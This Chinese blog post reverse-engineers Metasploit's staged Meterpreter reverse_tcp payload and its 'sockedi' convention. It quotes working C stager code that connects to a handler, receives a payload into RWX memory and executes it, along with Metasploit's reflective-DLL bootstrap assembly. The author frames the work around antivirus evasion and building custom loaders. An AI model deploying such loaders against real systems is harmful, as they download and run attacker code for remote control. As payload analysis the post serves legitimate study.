1. 程式人生 > >metasploit payload執行原理淺析(sockedi呼叫約定是什麼)

metasploit payload執行原理淺析(sockedi呼叫約定是什麼)

## 背景 最近在做一些msf相關的事情,今天聽到免殺相關的,去查詢了下相關資料。 第一個不能錯過的就是cobalt strike作者早年寫的metasploit-loader專案了,我看了專案原始碼,找了一些相關資料 在 [Meterpreter載荷執行原理分析](https://xz.aliyun.com/t/1709) 文章發現了一些細節性的東西,也感謝該文作者的拋磚引玉,不過文中有一些錯誤以及未說明白的地方,我會一一道來。 注意:本文只是對我自己的分析結果進行一次覆盤,如果有什麼錯誤之處歡迎大家斧正 ## metasploit loader ### metasploit的shellcode到底做了什麼 首先我們需要探討的第一個問題是metasploit的shellcode到底做了什麼? 在msf的官方wiki中,官方有對這個問題做一些簡單的解釋 - [How payloads work](https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work) - [中文翻譯版在這](https://zhuanlan.zhihu.com/p/61412226) 從上面的文章我們大致能知道其實我們使用msf生成的shellcode只是一個載入器(Stagers),然後載入器通過我們生成shellcode時指定的ip和埠回連過來取到真正執行的惡意載荷(Stages) ### 載入器(Stagers)回連的具體流程 那麼提出第二個問題,這個載入器(Stagers)回連的具體程式碼流程是怎樣的? 我們通過文件只能知道Stagers通過網路載入Stages,那麼Stages是什麼?shellcode?可執行檔案?反射dll?這些我們還都不清楚。 然後通過網上一些零星的資料,找到了msf郵件組曾經的兩封郵件(源地址已無法訪問,所幸WebArchive有留存) - [\[framework\] inline meterpreter payload](https://web.archive.org/web/20160729173425/https://dev.metasploit.com/pipermail/framework/2012-September/008660.html) - [\[framework\] inline meterpreter payload](https://web.archive.org/web/20160729173608/https://dev.metasploit.com/pipermail/framework/2012-September/008664.html) 裡面提到流程以及關鍵點 **流程** > No tutorials that I know of, but here are the basic steps: > > * connect to the handler > * read a 4-byte length > * allocate a length-byte buffer > * mark it as writable and executable (on Windows you'll need > VirtualProtect for this) > * read length bytes into that buffer > * jump to the buffer. easiest way to do this in C is cast it to a > function pointer and call it. **關鍵點** > Assuming this is for X86 arch, you have to make sure that the EDI > register contains your socket descriptor (the value of the ConnectSocket > variable). You can do this via inline asm, but it might be easier to > just prepend the 5 bytes for setting it to your shellcode: > > BF 78 56 34 12 mov edi, 0x12345678 > > For 64 bit, you have to use the RDI register (and need 10 bytes): > > 48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678 > > > Hope this helps, > > > Michael > > PS: This is the reason why the calling convention within Metasploit is > called "sockedi" :-) > 也就是說主要的流程大致上就是 1. tcp連線 2. 讀取socket前四個byte,這個為後面的載荷的長度 3. 分配可讀可寫可執行的記憶體,把載荷塞進去 4. 注意這段載荷的前面需要手動加 `mov edi, &socket` 5. 然後跳轉到這塊記憶體進行執行 實現起來並不困難,但是有些奇怪的點,比如為什麼需要手動把edi的值設定為socket的地址?這個我們先放一放,看看一些loader的原始碼 **首先是[cobalt strike作者的](https://github.com/rsmudge/metasploit-loader)** ```c int main(int argc, char * argv[]) { ULONG32 size; char * buffer; void (*function)(); winsock_init(); if (argc != 3) { printf("%s [host] [port]\n", argv[0]); exit(1); } /* connect to the handler */ SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); /* read the 4-byte length */ int count = recv(my_socket, (char *)&size, 4, 0); if (count != 4 || size <= 0) punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 =>
mov edi, 0x12345678 */ buffer[0] = 0xBF; /* copy the value of our socket to the buffer */ memcpy(buffer + 1, &my_socket, 4); /* read bytes into the buffer */ count = recv_all(my_socket, buffer + 5, size); /* cast our buffer as a function and call it */ function = (void (*)())buffer; function(); return 0; } ``` 其他的函式我並沒有列出來,裡面的實現應該也很明白,就是我之前說的流程 **然後是先知社群的,其實也就是把上一份程式碼註釋翻譯了一下** ```c //主函式 int main(int argc, char * argv[]) { ULONG32 size; char * buffer; //建立函式指標,方便XXOO void (*function)(); winsock_init(); //套接字初始化 //獲取引數,這裡隨便寫,接不接收無所謂,主要是傳遞遠端主機IP和埠 //這個可以事先定義好 if (argc != 3) { printf("%s [host] [port] ^__^ \n", argv[0]); exit(1); } /*連線到處理程式,也就是遠端主機 */ SOCKET my_socket = my_connect(argv[1], atoi(argv[2])); /* 讀取4位元組長度 *這裡是meterpreter第一次傳送過來的 *4位元組緩衝區大小2E840D00,大小可能會有所不同,當然也可以自己丟棄,自己定義一個大小 */ //是否報錯 //如果第一次不是接收的4位元組那麼就退出程式 int count = recv(my_socket, (char *)&size, 4, 0); if (count != 4 || size <= 0) punt(my_socket, "read length value Error\n"); /* 分配一個緩衝區 RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not alloc buffer\n"); /* *SOCKET賦值到EDI暫存器,裝載到buffer[]中 */ //mov edi buffer[0] = 0xBF; /* 把我們的socket裡的值複製到緩衝區中去*/ memcpy(buffer + 1, &my_socket, 4); /* 讀取位元組到緩衝區 *這裡就迴圈接收DLL資料,直到接收完畢 */ count = recv_all(my_socket, buffer + 5, size); /* 將緩衝區作為函式並呼叫它。 * 這裡可以看作是shellcode的裝載, * 因為這本身是一個DLL裝載器,完成使命,控制權交給DLL, * 但本身不退出,除非遷移程序,靠DLL裡函式,DLL在DLLMain裡是迴圈接收指令的,直到遇到退出指令, * (void (*)())buffer的這種用法經常出現在shellcode中 */ function = (void (*)())buffer; function(); return 0; } ``` 兩份程式碼都沒解決我們的疑問 我們直接翻翻msf原始碼 [lib/msf/core/payload/windows/reverse_tcp.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb) 程式碼比較長我就不貼了,簡要說一下, `asm_block_recv` 函式是接收載荷的函式,然後我們看看 `asm_reverse_tcp` ```asm create_socket: push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save pointer to sockaddr struct push eax ; if we succeed, eax will be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this ``` call WSASocketA 之後返回的是socket控制代碼,返回值一般是在eax裡面,然後把eax賦值到了edi 繼續找找edi,但是發現剩下的edi都是用作呼叫,好像沒有什麼明顯的作用,那為什麼有這個? ## 這個載荷Stages具體是怎麼生成的? 這裡就要引入我剛才說的先知上的那篇文章的問題了,在 [Meterpreter載荷執行原理分析](https://xz.aliyun.com/t/1709) 文章中,作者提到 >
metasploit的meterpreter的payload呼叫了meterpreter_loader.rb檔案,在meterpreter_loader.rb檔案中又引入了reflective_dll_loader.rb檔案,reflective_dll_loader.rb主要是獲取ReflectiveLoader()的偏移地址,用於重定位使用,沒有什麼可分析的。我們來到這個檔案裡reflectivedllinject.rb,這個檔案主要是修復反射dll的,meterpreter_loader.rb檔案主要是用於自身模組使用,修復dll和讀取payload的長度的。 > 其實 `windows/meterpreter/reverse_tcp` 是走的 `meterpreter_loader`,而不是文中的 `reflectivedllinject`,我通過除錯發現這個請求載荷的過程是流經 `meterpreter_loader` 檔案的 不過這兩個檔案的功效都是差不多的,我們開啟分析一下 映入眼簾的應該是這段 ```ruby def stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) asm_opts = { rdi_offset: offset, length: dll.length, stageless: opts[:stageless] == true } asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length >
62 raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap dll end ``` 這段程式碼裡面首先取到了metsrv的dll的檔案,然後傳入 `asm_invoke_metsrv` 函式做處理,生成彙編位元組碼,然後替換這個dll的頭部 我們看看 `load_rdi_dll` 函式,這個函式取到了一個偏移量然後傳入 `asm_invoke_metsrv` 函式做處理了 ```ruby def load_rdi_dll(dll_path) dll = '' ::File.open(dll_path, 'rb') { |f| dll = f.read } offset = parse_pe(dll) unless offset raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" end return dll, offset end def parse_pe(dll) pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) offset = nil pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ offset = pe.rva_to_file_offset(e.rva) break end end offset end ``` 甚至我們不用深究這些函式的具體流程,看名稱就知道,這個是從dll匯出表找到了ReflectiveLoader匯出函式的地址 然後進入 `asm_invoke_metsrv` 看看 ```ruby def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; 'M' pop edx ; 'Z' call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^ unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ mov [ebx], edi ; write the current socket/handle to the config ^ end asm << %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end ``` 不得不說這段十分巧妙,我們想想剛才的流程是什麼,排開那個 `mov edi, &socket` 不論,剩下的就是從傳回來的載荷的首地址開始跑了,那假如是一個dll檔案,你把一個平常的dll檔案,VirtualAlloc後直接跳到地址跑,能跑起來嗎?顯然是不能的,我們看看msf中的處理 我們上面的程式碼分析過,這個彙編最後是替換了dll的頭部,pe檔案的頭部就是dos頭,dos頭必須是MZ開頭,不然這個根本算不上一個pe檔案 那 `dec ebp` 和 `pop edx` 算怎麼回事? 其實這兩條彙編的機器碼就是 ``` \x4D # dec ebp \x5A # pop edx ``` 恰好構成了MZ頭,然後繼續往下跑,呼叫了ReflectiveLoader(),這個是反射dll技術,具體程式碼技術細節可以見 [https://github.com/stephenfewer/ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection) 呼叫該dll匯出函式 `ReflectiveLoader` 的主要功能就是載入dll自身到記憶體中,然後返回dllmain的函式地址,返回值是在eax裡面 然後呼叫 `mov [ebx], edi ; write the current socket/handle to the config` 把edi也就是上文提到的socket控制代碼地址存入ebx執行的記憶體,上面可以看到 ```asm ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ``` 這段彙編把ebx指向到了該dll載入空間的末尾 緊接著執行 ```asm push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ``` 呼叫儲存在eax中的dllmain的函式 其中的ebx到底是什麼? 我們把目光再往外層拉 ``` def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { arch: opts[:uuid].arch, null_session_guid: opts[:null_session_guid] == true, exitfunk: ds[:exit_func] || ds['EXITFUNC'], expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], stageless: opts[:stageless] == true } # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it config.to_b end ``` 可以看到 `stage_payload` 中把生成好的dll位元組碼和一串config拼接了起來,config裡面的引數要分析的話又是一大塊了,本文不著眼於此 跟進 `config.to_b` 看看 ```ruby def to_b config_block end def config_block # start with the session information config = session_block(@opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| config << transport_block(t) end # terminate the transports with NULL (wchar) config << "\x00\x00" # configure the extensions - this will have to change when posix comes # into play. file_extension = 'x86.dll' file_extension = 'x64.dll' unless is_x86? (@opts[:extensions] || []).each do |e| config << extension_block(e, file_extension) end # terminate the extensions with a 0 size config << [0].pack('V') # wire in the extension init data (@opts[:ext_init] || '').split(':').each do |cfg| name, value = cfg.split(',') config << extension_init_block(name, value) end # terminate the ext init config with a final null byte config << "\x00" # and we're done config end ``` 然後我們跟進 `session_block` 和 `transport_block` 看看就能明白這就是一串配置轉化為位元組碼,具體的轉化規則我們不論 可以看到 函式裡面有 ```ruby session_data = [ 0, # comms socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry uuid, # the UUID session_guid # the Session GUID ] session_data.pack('QVVA*A*') ``` 最開始的是0,pack的格式是Q,8位,這8位是幹嘛的? 現在回過頭想想,當之前生成好的dll載荷,我們從首地址開始跑,我們剛才那個edi(socket地址)填充到哪了,是不是那個dll空間的末尾再往後填,這個空間不恰好就是這8位0嗎? ## 所謂的sockedi到底是啥? ### 跟蹤edi 根據我們前面的分析,我們把[載入器](https://github.com/rsmudge/metasploit-loader/blob/master/loader.exe)掛偵錯程式跑起來看看 ![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173619033-61497079.png) 首先分配完RWX記憶體空間後,我們看到了首地址 `0x6A0000`,然後我們在記憶體視窗中轉到該地址,那我們重點關注的是dll所在區域的末尾,我們直接把記憶體地址轉到 `0x6CAC06`(別問我怎麼知道的,方法很多,比如多次除錯) ![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173634730-1974268679.png) 我們首先把記憶體地址轉到這個地方然後往下跑把資料接過來看看 ![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173708451-101591212.png) 現在前八位還是空的,但是後面已經有一些資料了,包括一些能看到文字的配置(比如tcp://0.0.0.0:4444)然後繼續下跑,進到我們分配出來的函式去看看 ![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173728840-254478172.png) 首當其衝的就是我們的 `mov edi, &socket`,繼續往下 ![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173741504-441507510.png) 可以看到,和我們預期的一樣,複製到了這八位的空間裡面,這裡可以配合msf原始碼以及我的註釋檢視 ### 分析用作載荷的反射dll 還記得我們前面分析的原始碼中的metsrv dll檔案嗎? 我們可以在 [metasploit-payloads](https://github.com/rapid7/metasploit-payloads) 中找到這個專案的原始碼 我們直接看看[metsrc dllmain函式](https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/metsrv.c#L47) ```c BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_METASPLOIT_ATTACH: bReturnValue = Init((MetsrvConfig*)lpReserved); break; case DLL_QUERY_HMODULE: if (lpReserved != NULL) *(HMODULE*)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } ``` 剛才呼叫dllmain我們是使用了 `calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)` 我們這個 `config_ptr` 傳遞的是什麼?是 `push ebx ; push the pointer to the configuration start`,也就是那個首8位塞了我們socket控制代碼地址的資料的起始地址,然後走 `DLL_METASPLOIT_ATTACH` 分支,把這個地址中的資料強轉為了 `MetsrvConfig` 結構體 我們看看 `MetsrvConfig` 結構體 ```c typedef struct _MetsrvConfig { MetsrvSession session; MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports // Extensions will appear after this // After extensions, we get a list of extension initialisers // \x00 // \x00 // \x00 } MetsrvConfig; typedef struct _MetsrvSession { union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). DWORD exit_func; ///! Exit func identifier for when the session ends. int expiry; ///! The total number of seconds to wait before killing off the session. BYTE uuid[UUID_SIZE]; ///! UUID BYTE session_guid[sizeof(GUID)]; ///! Current session GUID } MetsrvSession; typedef struct _MetsrvTransportCommon { CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI int comms_timeout; ///! Number of sessions to wait for a new packet. int retry_total; ///! Total seconds to retry comms for. int retry_wait; ///! Seconds to wait between reconnects. } MetsrvTransportCommon; ``` 這些資訊很明顯能看到是一些資訊,比如uuid,重試次數之類的,這些在payload的生成選項裡面都能找到 那麼我們現在差不多明白了,這一塊的東西是強轉成了這個結構體,包括edi中所存放的socket控制代碼地址 好吧,別忘了我們的**使命,搞清楚這個edi的作用** 劃入這個結構體也就是 ``` union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). ``` 也就是我們找找 `comms_handle` 用在了哪 所以進到 `Init((MetsrvConfig*)lpReserved)` 裡面看看 ```c DWORD Init(MetsrvConfig* metConfig) { // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. dprintf("[METSRV] Getting ready to init with config %p", metConfig); DWORD result = server_setup(metConfig); dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); // We also handle exit func directly in metsrv now because the value is added to the // configuration block and we manage to save bytes in the stager/header as well. switch (metConfig->session.exit_func) { case EXITFUNC_SEH: SetUnhandledExceptionFilter(NULL); break; case EXITFUNC_THREAD: ExitThread(0); break; case EXITFUNC_PROCESS: ExitProcess(0); break; default: break; } return result; } ``` 裡面呼叫了 `server_setup` 然後吐出了結果,最後返回,跟到外層也就是dllmain的返回值,dllmain返回值作用我不贅述了,然後根據你的生成選項中的 `EXITFUNC` 來進行退出,退出程序、執行緒或者SEH異常,這裡我們不管,我們看看 `server_setup` 函式 [server_setup函式](https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/server_setup.c#L317)很長,我就不貼整個函數了 使用了 `comms_handle` 的我貼一下 ```c ... dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); ... dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); if (remote->transport->set_handle) { remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); } ``` 根據這些程式碼我們能夠知道是把 Transport handle 設定為了我們之前建立的socket 繼續往後找我們能找到 ![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173801194-1649860505.png) 然後跟進 `transport_set_handle_tcp` 可以看到 ``` /*! * @brief Get the socket from the transport (if it's TCP). * @param transport Pointer to the TCP transport containing the socket. * @return The current transport socket FD, if any, or zero. */ static UINT_PTR transport_get_handle_tcp(Transport* transport) { if (transport && transport->type == METERPRETER_TRANSPORT_TCP) { return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd; } return 0; } /*! * @brief Set the socket from the transport (if it's TCP). * @param transport Pointer to the TCP transport containing the socket. * @param handle The current transport socket FD, if any. */ static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) { if (transport && transport->type == METERPRETER_TRANSPORT_TCP) { ((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle; } } ``` 也只是轉為了socket控制代碼,然後給外部再繼續通過這個socket去取一些伺服器上的東西(後面的我沒再跟下去了,我猜測也只有這種可能) ## 總結 這次的分析耗時一天,從上午看到討論免殺,載入器,然後開始分析,說實話,還是收穫了不少,比如那個反射dll的改dos頭就讓我不得不佩服,臥槽,這操作騷。本次只是拿 `windows/meterpreter/reverse_tcp` 開刀,我相信其他的也一樣,不然何以被官方稱 `sockedi` 呼叫約定,說明這已經是msf裡面載入的約定成俗的東西了。 那麼從這次的分析中我們能獲得哪些啟示?當然是免殺對抗的啟示,antiAV方可以通過研究使用自己的payload格式,AV方可以通過這個流程來對msf的payload的查殺更上一步,或者根據裡面的改DOS頭技術打造自己的模組化RAT ### 下一步可以做的 1. 研究payload uuid的回傳 2. 研究rc4,aes之類的所謂加密shellcode,加密是在哪裡 3. ... ### 現在就可以得到的 1. 當然是一個香噴噴的shellcode載入器,具體實現就是八仙過海各顯神通了。 2. 改DOS頭直接執行